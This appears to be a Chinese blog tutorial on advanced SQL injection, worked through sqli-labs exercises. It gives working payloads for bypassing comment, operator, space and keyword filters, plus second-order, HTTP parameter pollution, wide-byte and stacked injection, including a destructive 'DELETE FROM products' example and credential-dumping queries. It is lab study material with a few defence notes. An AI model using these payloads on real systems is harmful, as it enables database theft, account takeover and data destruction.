高阶sql注入

1.过滤字符

1.1 过滤注释符号

1.1.1 Less-23

1.判断类型
  • get型注入
  • 有回显 (联合注入)
  • 有错误提示

综上考虑联合注入

2. 找注入点
?id=1 //正常
?id=1' //报错
?id=1' and 1=1--+ //报错
?id=1' and 1=2--+ //报错

此时判断注释符号可能被过滤,尝试加入第二个‘

?id=1' and '1'='1   //正常
?id=1' and '1'='2   //错误

由上可知注释符号被过滤,需采用’ 进行注入

源代码
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

    if($row)
    {
      echo '<font color= "#0000ff">';    
      echo 'Your Login name:'. $row['username'];
      echo "<br>";
      echo 'Your Password:' .$row['password'];
      echo "</font>";
      }
    else 
    {
    echo '<font color= "#FFFF00">';
    print_r(mysql_error());
    echo "</font>";  
    }
}
    else { echo "Please input the ID as parameter with numeric value";}

?>
3. 判断字段数
?id=1' order by 3,'1    //正常
?id=1' order by 4,'1    //错误

4. 判断显示位

?id=-1' union select 1,2,'3

5.用户名/密码/数据库版本号/数据库
?id=-1' union select 1,user(),database()'

6.爆表
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security

7. 爆列
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users

8.爆数据
?id=-1' union select 1,username,password from users where id ='3

1.2 过滤逻辑运算符

主要过滤or/and等字符,主要有以下几种处理方式:

  • 大小写变形 Or,OR,oR

  • 编码,hex,urlencode

  • 添加注释/or/

  • 利用符号 and=&& or=||

1.2.1 Less-25a

1.判断类型
  • get型注入
  • 有回显
  • 无错误提示

综上考虑联合注入

2.找注入点
?id=1'  //错误
?id=1'--+ //错误,可能过滤注释符号
?id=1' and '1'='1 //错误,可能过滤逻辑运算符
?id=1' && 1=1--+ //错误
?id=1' && '1'='1  

1.3 过滤空格

注:关键字过滤也要随之更改空格格式

  • %09 TAB 键(水平)

  • %0a 新建一行

  • %0c 新的一页

  • %0d return 功能

  • %0b TAB 键(垂直)

  • %a0 空格

1.4 过滤sql语句关键字

1.4.1 Less-27

1.判断类型
  • get型注入
  • 有回显
  • 有错误提示

综上考虑联合注入

2.找注入点,确认过滤符号
?id=1' //报错
?id=1'--+ //报错,可能是过滤--+
?id=1' and '1'='1  //正常,确认过滤--+,不过滤逻辑运算符
3.字段数
?id=0'%a0order%a0by%a04||'1   //空白

字段爆不出,考虑Updatexml()错误盲注

4. 爆库
?id=1'%a0and%a0updatexml(1,concat(0x7e,database(),0x7e),1)||'1

爆表爆字段爆数据同基于错误的盲注,只不过在语句后要加上||’1

2.二阶注入

2.1 概述

  1. 黑客通过构造数据的形式,在浏览器或者其他软件中提交 HTTP 数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了黑客构造的 SQL 语句或者命令。

  2. 服务端应用程序会将黑客提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。

  3. 黑客向服务端发送第二个与第一次不相同的请求数据信息。

  4. 服务端接收到黑客提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致黑客在第一次请求中构造的 SQL 语句或者命令在服务端环境中执行。

  5. 服务端返回执行的处理结果数据信息,黑客可以通过返回的结果数据信息判断二次注 入漏洞利用是否成功。

2.2 从注册入手

2.1.1 Less-24

1.判断类型
  • post型注入
  • 无回显
  • 有错误提示

综上考虑基于错误的盲注

2. 找注入点

尝试所有注入且考虑注释符号被过滤,均尝试不成功,于是考虑二阶注入。

3. 注册新用户

4. 使用上述新建的用户登录并修改密码

查看修改密码源码:

$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";

当我们使用admin’#用户进行登录时,修改密码的sql语句变成:

$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";

上述语句即可随意修改admin的密码

3. 参数污染

3.1 服务器两层架构

  • 服务器端有两个部分:第一部分为 tomcat 为引擎的 jsp 型服务器,第二部分为 apache为引擎的 php 服务器,真正提供 web 服务的是 php 服务器。
  • 工作流程为:client 访问服务器,能直接访问到 tomcat 服务器,然后 tomcat 服务器再向 apache 服务器请求数据。数据返回路径则相反。

3.2 场景应用

index.jsp?id=1&id=2 请求,针对3.1图中的服务器配置情况,客户端请求首先过 tomcat,tomcat 解析第一个参数,接下来 tomcat 去请求 apache(php) 服务器,apache 解析最后一个参数。最终返回客户端的是2这个参数,因为实际上提供服务的是apache(php)服务器,返回的数据也应该是 apache 处理的数据。为什么还要有tomcat服务器呢?

  • 我们往往在 tomcat 服务器处做数据过滤和处理,功能类似为一

    个 WAF。

而正因为解析参数的不同,我们此处可以利用该原理绕过 WAF 的检测。该用法就 是 HPP(HTTP Parameter Pollution),http 参数污染攻击的一个应用。HPP 可对服务器和客 户端都能够造成一定的威胁

3.3 实例

3.3.1 Less-29

查看apache服务器的Index.php源码,如图所示

由上述源码可知,apache服务器只对tomcat的参数进行了处理,所以我们可以利用第二个参数进行注入攻击

?id=1&id=-1' union select 1,user(),3--+

4. 宽字节注入

4.1 原理概述

原理:mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)。我们在过滤 ’ 的时候,往往利用的思路是将 ‘ 转换为 \’ 。我们绕过过滤的思路就是把’前面的\去除掉:

  • %df 吃掉 \ 具体的原因是 urlencode(\ ‘)= %5c%27,我们在%5c%27 前面添加%df,形成%df%5c%27,而上面提到的 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,此时%df%5c 就是一个汉字,%27 则作为一个单独的符号在外面,同时也就达到了我们的目的。
  • 将 \’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 的情况,后面的%5c 会被前面的%5c给注释掉。这也是 bypass 的一种方法。

注:此种情况下若使用联合注入,所有字段的内容都要使用GBK编码才能成功攻击,如table_schema=’security’要换成table_schema=0x7365637572697479,且宽字节注入中get方法与post方法采取的方法不同

4.2 源码分析

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash


    return $string;
}

// take the variables 
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);

此处过滤函数采用addslashes(),addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。

预定义字符是:

  • 单引号(’)

  • 双引号(”)

  • 反斜杠(\)

4.3 实例

4.3.1 Less-32(get方法)

1.判断类型
  • get型注入(url数据会通过URLencode)
  • 有回显
  • 有错误提示
2.找注入点
?id=1' //正常
?id=1" //正常

由上图可知过滤引号,此处采取%df吃\的方法

?id=1%df' //错误

正常报错,继续寻找注入点

?id=1%df' and 1=1--+  //正常
?id=1%df' and 1=2--+   //返回空串

综上,注入点为?id=1%df’ 且不过滤空格逻辑运算符注释

3. 爆列
?id=-1%df' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x7573657273--+

其余同联合注入

4.防御

使用 addslashes(),我们需要将 mysql_query 设置为 binary 的方式,才能防御此漏洞。

Mysql_query(“SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary”,$conn);

4.3.2 Less-34(post方法)

post类型(将’ 转换为 utf-16 或 utf-32,例如将 ‘ 转为 utf-16 为 �‘)

username:�' or 1=1#
password: 随便填

4.3.1 Less-36

1. 源代码
function check_quotes($string)
{
    $string= mysql_real_escape_string($string);    
    return $string;
}

// take the variables 
if(isset($_GET['id']))
{
$id=check_quotes($_GET['id']);

上面的 check_quotes()函数是利用了 mysql_real_escape_string()函数进行的过滤。

mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符。

下列字符受影响:

  • \x00

  • \n

  • \r

  • \

  • \x1a

如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。

2. 突破

但是因 mysql 我们并没有设置成 gbk,所以mysql_real_escape_string()依旧能够被突破:

  • 将’编码为utf-16
?id=-1%EF%BF%BD' union select 1,user(),3--+
  • 使用%df吃\
?id=-1%df' union select 1,user(),3--+
3. 防护

在使用 mysql_real_escape_string()时,如何能够安全的防护这种问题,需要将 mysql 设置为 gbk 即可。 设置代码:

Mysql_set_charset(‘gbk’,’$conn’)

5. Stacked Injection 堆叠注入

原理

在 SQL 中,分号(;)是用来表示一条 sql 语句的结束。试想一下我们在 ; 结束一个 sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而 union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于 union或者 union all 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是 任意的语句。

例如:

用户输入:

1; DELETE FROM products

服务器端生成的 sql 语句为:(因未对输入的参数进行过滤)

Select * from products where productid=1;DELETE FROM products

当执行查询后,第一条显示查询信息,第二条则将整个表删除。

实践

1. Less-38

1.1 判断类型

  • get型注入
  • 有回显
  • 有错误提示

综上初判使用联合注入

1.2 找注入点

?id=1 //正常
?id=1' //出错
?id=1'--+ //正常

综上,注入点为?id=1’

1.3 获取数据库结构

通过爆库爆表爆字段来获知数据库结构,才能进行堆叠注入,此处省略

1.4 堆叠注入

插入用户

?id=1';insert into users(id,username,password) values ('21','zby','123')--+


   转载规则


《高阶sql注入》 fightingtree 采用 知识共享署名 4.0 国际许可协议 进行许可。
  目录